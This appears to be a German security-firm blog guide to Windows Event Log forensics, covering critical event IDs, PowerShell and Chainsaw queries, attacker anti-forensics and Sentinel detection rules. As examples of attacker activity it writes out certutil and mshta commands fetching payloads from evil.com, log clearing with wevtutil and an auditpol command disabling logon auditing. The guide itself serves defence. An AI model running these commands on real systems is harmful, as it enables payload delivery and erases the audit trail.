Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Windows Event Log Forensik: Angriffsspuren in Windows-Logs erkennen - Betriebssystem-Sicherheit und Systemhaertung
Incident Response

Windows Event Log Forensik: Angriffsspuren in Windows-Logs erkennen

Windows Event Logs sind die wichtigste forensische Datenquelle nach Sicherheitsvorfällen. Dieser Guide erklärt die kritischsten Event IDs (4624 Logon, 4688 Prozesserstellung, 4698 Scheduled Task, 7045 Service, 4771 Kerberos), forensische Analyse mit PowerShell und Chainsaw, Anti-Forensik-Techniken der Angreifer (Eventlog-Clearing, Selective Deletion) und wie SIEM-Integration die Log-Analyse automatisiert.

Vincent Heinen Vincent Heinen Abteilungsleiter Offensive Services
12 Min. Lesezeit
OSCP+ OSCP OSWP OSWA

TL;DR

Windows Event Logs sind das Gedächtnis kompromittierter Systeme und essenziell für die Rekonstruktion von Cyberangriffen. Dieser Artikel beleuchtet kritische Event IDs wie 4624 (erfolgreiche Anmeldung), 4688 (Prozesserstellung mit Command Line Logging) und 7045 (Service-Installation), die Angriffsspuren wie Lateral Movement oder Persistenzmechanismen aufzeigen. Besonders relevant ist die Überwachung von Event 1102, der das Löschen des Security Logs signalisiert - ein kritischer Indikator für Anti-Forensik-Versuche. Eine korrekte Audit Policy, die beispielsweise die maximale Log-Größe auf 500 MB erhöht und PowerShell Script Block Logging aktiviert, ist Voraussetzung für eine effektive Analyse mit Tools wie PowerShell oder Chainsaw.

Diese Zusammenfassung wurde KI-gestützt erstellt (EU AI Act Art. 52).

Inhaltsverzeichnis (6 Abschnitte)

Windows Event Logs sind das Gedächtnis eines kompromittierten Systems. Angreifer hinterlassen Spuren - Logon-Events, Prozesserstellungen, geplante Tasks, Service-Installationen. Wer diese Spuren lesen kann, rekonstruiert den Angriffsablauf. Dieser Guide erklärt die wichtigsten Event IDs, forensische Analyse-Techniken und wie Angreifer versuchen ihre Spuren zu verwischen.

Windows Event Log Architektur

Event Log Speicherorte:

Klassische Logs (*.evtx):
  C:\Windows\System32\winevt\Logs\

Wichtigste Log-Dateien:
  Security.evtx         Authentifizierungen, Richtlinien, Auditing
  System.evtx           Service-Starts, Driver-Events, OS-Events
  Application.evtx      Anwendungs-Fehler und -Events
  Microsoft-Windows-PowerShell/Operational.evtx   PS-Ausführung!
  Microsoft-Windows-Sysmon/Operational.evtx        Sysmon (wenn installiert)
  Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx  RDP!
  Microsoft-Windows-TaskScheduler/Operational.evtx  Scheduled Tasks

EVTX-Format:
  → Binäres Format (nicht direkt lesbar)
  → Analyse via: Event Viewer, PowerShell, Chainsaw, EvtxECmd
  → Maximale Größe konfigurierbar (Standard: 1-20 MB!)
  → Bei Overflow: älteste Events überschrieben!
  → Für Forensik: Größe auf 500 MB erhöhen!

Audit-Policy konfigurieren (Voraussetzung!):
  Ohne Audit-Policy: Security.evtx ist leer oder minimal
  Alle kritischen Events erfordern aktiviertes Auditing!

  # Windows Advanced Audit Policy (via GPO):
  Audit Logon/Logoff:         Success + Failure (Event 4624, 4625, 4634)
  Audit Process Creation:     Success (Event 4688)
  Audit Account Management:   Success + Failure (4720, 4728, 4732)
  Audit Policy Change:        Success (4719, 4739)
  Audit Privilege Use:        Success (4673)
  Audit Object Access:        Success + Failure (4656, 4663) - selektiv!
  Audit Service Changes:      Success (7045)

  PowerShell:
  Audit PowerShell Script Block Logging (Group Policy):
  → Computer Config → Administrative Templates → Windows Components → PowerShell
  → Script Block Logging: Enabled
  → Module Logging: Enabled
  → Transcription: Enabled

Kritische Event IDs - Forensische Bedeutung

Authentication Events:

Event 4624 - Successful Logon:
  Logon Type 2:  Interaktiv (Console-Login)
  Logon Type 3:  Netzwerk (SMB, Named Pipes) → Lateral Movement!
  Logon Type 4:  Batch (Scheduled Task)
  Logon Type 5:  Service (Service-Start)
  Logon Type 7:  Unlock (Screen Unlock)
  Logon Type 8:  NetworkCleartext (IIS Basic Auth mit Passwort im Log!)
  Logon Type 9:  NewCredentials (RunAs, PtH-Indikator!)
  Logon Type 10: RemoteInteractive (RDP-Login!)
  Logon Type 11: CachedInteractive (Offline-Anmeldung)

  Forensisch wichtige Felder:
  SubjectUserName:  Wer hat sich eingeloggt?
  LogonType:        Wie? (Type 10 = RDP, Type 3 = Netzwerk)
  WorkstationName:  Von welchem System?
  IpAddress:        Von welcher IP? (kritisch bei Lateral Movement!)
  AuthenticationPackageName: NTLM (PtH möglich!) vs. Kerberos

Event 4625 - Failed Logon:
  → Viele 4625 in kurzer Zeit = Brute Force!
  → SubFailureReason: 0xC000006D = Wrong Password
  → SubFailureReason: 0xC0000064 = Unknown Username

Event 4634/4647 - Logoff:
  → Session-Dauer: 4624 bis 4634 Zeitdelta
  → Kurze Sessions: automatisierte Zugriffe/Lateral Movement

Event 4771 - Kerberos Pre-authentication Failed:
  → Kerberoasting: 4769 mit RC4-Encryption
  → AS-REP-Roasting: 4768 mit PreAuth-Disabled
  → Falsche Credentials: 4771 mit Error-Code 0x18

Prozess-Events:

Event 4688 - Process Creation (mit Command Line Logging!):
  Zeigt: welcher Prozess gestartet, von welchem Parent, mit welchen Argumenten!

  Typische Angreifer-Prozesse:
  cmd.exe → powershell.exe (PowerShell aus CMD)
  powershell.exe -enc <base64> (encoded Command)
  net.exe user /add (User-Anlage)
  net.exe localgroup administrators /add (Admin-Rechte)
  whoami.exe /all (Privilege-Checking)
  ipconfig.exe /all (Netzwerk-Recon)
  nltest.exe /domain_trusts (AD-Reconnaissance)
  mimikatz.exe (Credential-Dump - direkt erkennbar!)

  Forensisches Muster: LOLBIN (Living off the Land Binaries):
  certutil.exe -urlcache -split -f http://evil.com/payload.exe
  → certutil zum Datei-Download!
  wmic.exe process call create "cmd.exe /c ..."
  → WMIC für Prozessstart (Evasion)
  mshta.exe http://evil.com/payload.hta
  → HTML-Application-Host für Remote-Execution

Persistence-Events:

Event 4698/4702 - Scheduled Task Created/Modified:
  → TaskName: Verdächtig wenn zufällig oder system-ähnlich
  → Command: was wird ausgeführt?
  → Häufig: Persistence-Mechanismus nach Initial Access

Event 7045 - Service Installed:
  → New Service installiert
  → ServiceFileName: Pfad der Service-DLL/-EXE
  → Verdächtig: Temp-Verzeichnis, zufälliger Name, Base64-encoded

Event 4720/4722/4732 - User/Group Management:
  4720: Neuer User angelegt → Persistence!
  4722: User-Account aktiviert (deaktivierter Account aktiviert = Backdoor)
  4732: User zu lokaler Admin-Gruppe hinzugefügt!
  → Immer: wer hat es gemacht (SubjectUserName)?

Event 4719 - Audit Policy Changed:
  → Angreifer deaktiviert Logging!
  → SubcategoryGUID: welche Audit-Category deaktiviert
  → Alert: SOFORT wenn 4719 erscheint!

Event 1102 - Security Log Cleared:
  → KRITISCH: Security.evtx gelöscht!
  → Dieser Event erscheint am Anfang des neuen leeren Logs
  → Angreifer-Signatur: Spuren verwischen

Forensische Analyse mit PowerShell

PowerShell Event-Log-Analyse:

# Alle fehlgeschlagenen Logins der letzten 24h:
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id = 4625
  StartTime = (Get-Date).AddHours(-24)
} | Select-Object -Property TimeCreated, Message |
Select-Object -First 50

# Alle neuen Scheduled Tasks:
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id = 4698
} | ForEach-Object {
  $xml = [xml]$_.ToXml()
  [PSCustomObject]@{
    Time = $_.TimeCreated
    TaskName = $xml.Event.EventData.Data |
               Where-Object {$_.Name -eq 'TaskName'} |
               Select-Object -ExpandProperty '#text'
    Command = $xml.Event.EventData.Data |
              Where-Object {$_.Name -eq 'Command'} |
              Select-Object -ExpandProperty '#text'
  }
}

# RDP-Logins (Logon Type 10) mit IP:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
ForEach-Object {
  $xml = [xml]$_.ToXml()
  $logonType = ($xml.Event.EventData.Data | Where-Object Name -eq 'LogonType').'#text'
  if ($logonType -eq '10') {
    [PSCustomObject]@{
      Time = $_.TimeCreated
      User = ($xml.Event.EventData.Data | Where-Object Name -eq 'SubjectUserName').'#text'
      IP = ($xml.Event.EventData.Data | Where-Object Name -eq 'IpAddress').'#text'
    }
  }
}

# Log-Clearing-Ereignisse:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} |
Select-Object TimeCreated, Message

# PowerShell Script Block Logging auswerten:
Get-WinEvent -FilterHashtable @{
  LogName = 'Microsoft-Windows-PowerShell/Operational'
  Id = 4104
} | Where-Object {
  $_.Message -match 'IEX|Invoke-Expression|DownloadString|WebClient|Base64'
} | Select-Object TimeCreated, Message

Chainsaw - Schnelle Anomalie-Erkennung

Chainsaw (DFIR-Tool für EVTX-Analyse):

Installation:
  # Binary von GitHub (rust-basiert, sehr schnell):
  wget https://github.com/WithSecureLabs/chainsaw/releases/latest/download/chainsaw_x86_64-unknown-linux-musl.tar.gz

Verwendung:

# Alle kritischen Events mit Sigma-Regeln:
chainsaw hunt /path/to/evtx/ --sigma sigma-rules/ \
  --mapping mappings/sigma-event-logs-all.yml \
  --output findings.csv

# Spezifische Events nach Event ID:
chainsaw search --event-id 4624,4625,4688 /path/to/evtx/

# Authentifizierungsanalyse:
chainsaw analyse logons /path/to/Security.evtx \
  --output logons-analysis.csv

# Sigma-Regeln: Community-Rules aus SigmaHQ:
# git clone https://github.com/SigmaHQ/sigma
# chainsaw --sigma sigma/rules/windows/ ...

Weitere DFIR-Tools:
  EvtxECmd (Eric Zimmermann):  EVTX-Parser + Timeline
  Hayabusa:                    Japanisches Tool, Sigma-Support
  KAPE:                        Artefakt-Sammlung + Analyse
  Velociraptor:                Enterprise-DFIR-Platform

Anti-Forensik durch Angreifer

Techniken zur Log-Manipulation:

1. Security Log clearing (Event 1102):
   wevtutil cl Security
   → Komplett löscht Security.evtx
   → Event 1102 erscheint als erster Event im neuen Log!
   → Monitoring: Alert wenn 1102 erscheint

2. Selective Event Deletion (fortgeschritten):
   → Einzelne Events aus EVTX löschen (ohne den ganzen Log)
   → Tools: DanderSpritz (NSA-Tool), Invoke-Phant0m
   → Hinterlässt: Lücken in Event-ID-Sequenz
   → Erkennbar durch: Event-Record-ID-Sprünge!

3. EVTX-Spoofing:
   → Fake Events in Log einfügen
   → Verwirrungstaktik für Forensiker

4. Audit Policy deaktivieren:
   auditpol /set /subcategory:"Logon" /success:disable /failure:disable
   → Neue Logins erscheinen nicht mehr in Security.evtx!
   → Erkennbar: Event 4719 (Policy Changed)
   → Monitoring: Alert bei 4719!

5. ETW-Manipulation (Kernel-Level):
   → Event Tracing for Windows (ETW) direkt manipulieren
   → Verhindert dass Events überhaupt erstellt werden
   → Schwer zu erkennen ohne EDR

Gegenmaßnahmen:
  → Logs sofort an SIEM (remote, unveränderlich) senden!
  → Log-Clearing → SIEM-Alert (das Clearing-Event ist bereits im SIEM!)
  → Event-Subscription: Windows Event Forwarding (WEF) zu Log-Server
  → Immutable Logging: SIEM-Logs dürfen nicht modifiziert werden
  → NTP-Synchronisation: Zeitstempel-Manipulation erkennen

SIEM-Integration und Detection Rules

Windows Event Log → Microsoft Sentinel (KQL):

Kritische Alerts:

1. Security Log Cleared:
SecurityEvent
| where EventID == 1102
| project TimeGenerated, Computer, Account
// SOFORT Alert! Security Log wurde geleert!

2. Neue Admin-Gruppenmitgliedschaft:
SecurityEvent
| where EventID == 4732
| where TargetUserName == "Administrators"
| project TimeGenerated, Computer, SubjectUserName, MemberName

3. PowerShell Encoded Command:
SecurityEvent
| where EventID == 4688
| where CommandLine has_any ("-enc", "-EncodedCommand", "encodedcommand")
| project TimeGenerated, Computer, ParentProcessName, CommandLine

4. Pass-the-Hash Indikator:
SecurityEvent
| where EventID == 4624
| where LogonType == 9
| where AuthenticationPackageName == "NTLM"
| project TimeGenerated, SubjectUserName, WorkstationName, IpAddress

5. Brute Force Detection:
SecurityEvent
| where EventID == 4625
| summarize FailCount = count() by bin(TimeGenerated, 5m), TargetUserName, IpAddress
| where FailCount > 10
| project TimeGenerated, TargetUserName, IpAddress, FailCount

Windows Event Log Forensik ist eine Kernkompetenz in jedem Security-Operations-Center. Die Fähigkeit Angriffsspuren schnell zu lesen, zeitliche Abläufe zu rekonstruieren und Anti-Forensik-Techniken zu erkennen, entscheidet darüber wie schnell ein Incident Response-Team eine Kompromittierung eindämmen kann. AWARE7 unterstützt bei Incident Response und forensischer Analyse nach Sicherheitsvorfällen.

Incident Response anfragen | Security Operations Center

Nächster Schritt

Unsere zertifizierten Sicherheitsexperten beraten Sie zu den Themen aus diesem Artikel — unverbindlich und kostenlos.

Kostenlos · 30 Minuten · Unverbindlich

Artikel teilen

Über den Autor

Vincent Heinen
Vincent Heinen

Abteilungsleiter Offensive Services

M.Sc. IT-Sicherheit mit über 5 Jahren Erfahrung in offensiver Sicherheitsanalyse. Leitet die Durchführung von Penetrationstests mit Spezialisierung auf Web-Applikationen, Netzwerk-Infrastruktur, Reverse Engineering und Hardware-Sicherheit. Verantwortlich für mehrere Responsible Disclosures.

OSCP+ OSCP OSWP OSWA
Zertifiziert ISO 27001ISO 9001AZAVBSI

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung